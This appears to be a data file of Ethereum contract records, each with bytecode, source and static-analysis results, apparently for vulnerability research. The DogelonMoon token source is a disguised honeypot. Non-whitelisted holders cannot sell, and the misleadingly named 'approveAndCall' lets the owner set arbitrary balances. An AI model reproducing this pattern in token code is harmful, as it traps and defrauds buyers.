0508080600101915050611460565b505050949350505050565b6060806000806003805490506040519080825280602002602001820160405280156114f05781602001602082028038833980820191505090505b50925060009150600090505b60038054905081101561163d5760016000868152602001908152602001600020600060038381548110151561152d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611630576003818154811015156115b457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115ed57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506114fc565b8160405190808252806020026020018201604052801561166c5781602001602082028038833980820191505090505b509350600090505b818110156116eb57828181518110151561168a57fe5b9060200190602002015184828151811015156116a257fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611674565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173357600080fd5b60038054905081603282118061174857508181115b806117535750600081145b8061175e5750600082145b1561176857600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180457600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561185e57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118c857600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361197d85611cc1565b5050505050565b6000611991848484611e77565b905061199c816117ab565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119ea57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a4357600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a9b57600080fd5b600092505b600380549050831015611b84578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611ad357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b775783600384815481101515611b2a57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611b84565b8280600101935050611aa0565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008160008082815260200190815260200160002060030160009054906101000a900460ff1615611cf157600080fd5b611cfa83611012565b15611e7257600080848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040518082805460018160011615610100020316600290048015611dd95780601f10611dae57610100808354040283529160200191611dd9565b820191906000526020600020905b815481529060010190602001808311611dbc57829003601f168201915b505091505060006040518083038185875af19250505015611e2657827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e71565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008260030160006101000a81548160ff0219169083151502179055505b5b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415611e9e57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611f5d929190611ff3565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b815481835581811115611fee57818360005260206000209182019101611fed9190612073565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061203457805160ff1916838001178555612062565b82800160010185558215612062579182015b82811115612061578251825591602001919060010190612046565b5b50905061206f9190612073565b5090565b61209591905b80821115612091576000816000905550600101612079565b5090565b905600a165627a7a7230582069444e98f6a57b1f4655c00edde3b05bca8d2e095cc28ee881b8eb73ec361d9a0029
|
{"success": true, "error": null, "results": {}}
| 6,519 |
0x40b85cffab146eefcceee004392168d6b4d5a24c
|
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than
minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns
(bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood:
https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns
(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf
of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone
may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution
to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the
desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0 ) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the
spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool)
{
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns
(bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ADRToken is StandardToken{
string public constant name = "ADR Token"; // solium-disable-line uppercase
string public constant symbol = "ADR"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 1000000000000000000000000000;
uint256 public constant MAX_SUPPLY = 100 * 10000 * 10000 * (10 **
uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() ADRToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* The fallback function.
*/
function() payable public {
revert();
}
}
|
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea5780632ff2e9dc1461026f578063313ce5671461029a57806332cb6b0c146102cb57806366188463146102f657806370a082311461035b57806395d89b41146103b2578063a9059cbb14610442578063d73dd623146104a7578063dd62ed3e1461050c575b600080fd5b3480156100d657600080fd5b506100df610583565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105bc565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d4610743565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061074d565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610b07565b6040518082815260200191505060405180910390f35b3480156102a657600080fd5b506102af610b17565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d757600080fd5b506102e0610b1c565b6040518082815260200191505060405180910390f35b34801561030257600080fd5b50610341600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2e565b604051808215151515815260200191505060405180910390f35b34801561036757600080fd5b5061039c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dbf565b6040518082815260200191505060405180910390f35b3480156103be57600080fd5b506103c7610e07565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104075780820151818401526020810190506103ec565b50505050905090810190601f1680156104345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561044e57600080fd5b5061048d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e40565b604051808215151515815260200191505060405180910390f35b3480156104b357600080fd5b506104f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061105f565b604051808215151515815260200191505060405180910390f35b34801561051857600080fd5b5061056d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061125b565b6040518082815260200191505060405180910390f35b6040805190810160405280600981526020017f41445220546f6b656e000000000000000000000000000000000000000000000081525081565b60008082148061064857506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561065357600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561078a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107d757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561086257600080fd5b6108b3826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610946826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6b033b2e3c9fd0803ce800000081565b601281565b601260ff16600a0a6402540be4000281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c3f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd3565b610c5283826112e290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f414452000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e7d57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610eca57600080fd5b610f1b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fae826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110f082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fb90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112f057fe5b818303905092915050565b6000818301905082811015151561130e57fe5b809050929150505600a165627a7a723058201976f0615e95f2d4cb6f9d3629355af6f7fdc5980b0b536521a1f8ce0d7cd6980029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,520 |
0x708d6b8142897372e4f956252d1407192c22f2f7
|
/**
*Submitted for verification at Etherscan.io on 2021-08-02
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract DogelonMoon {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd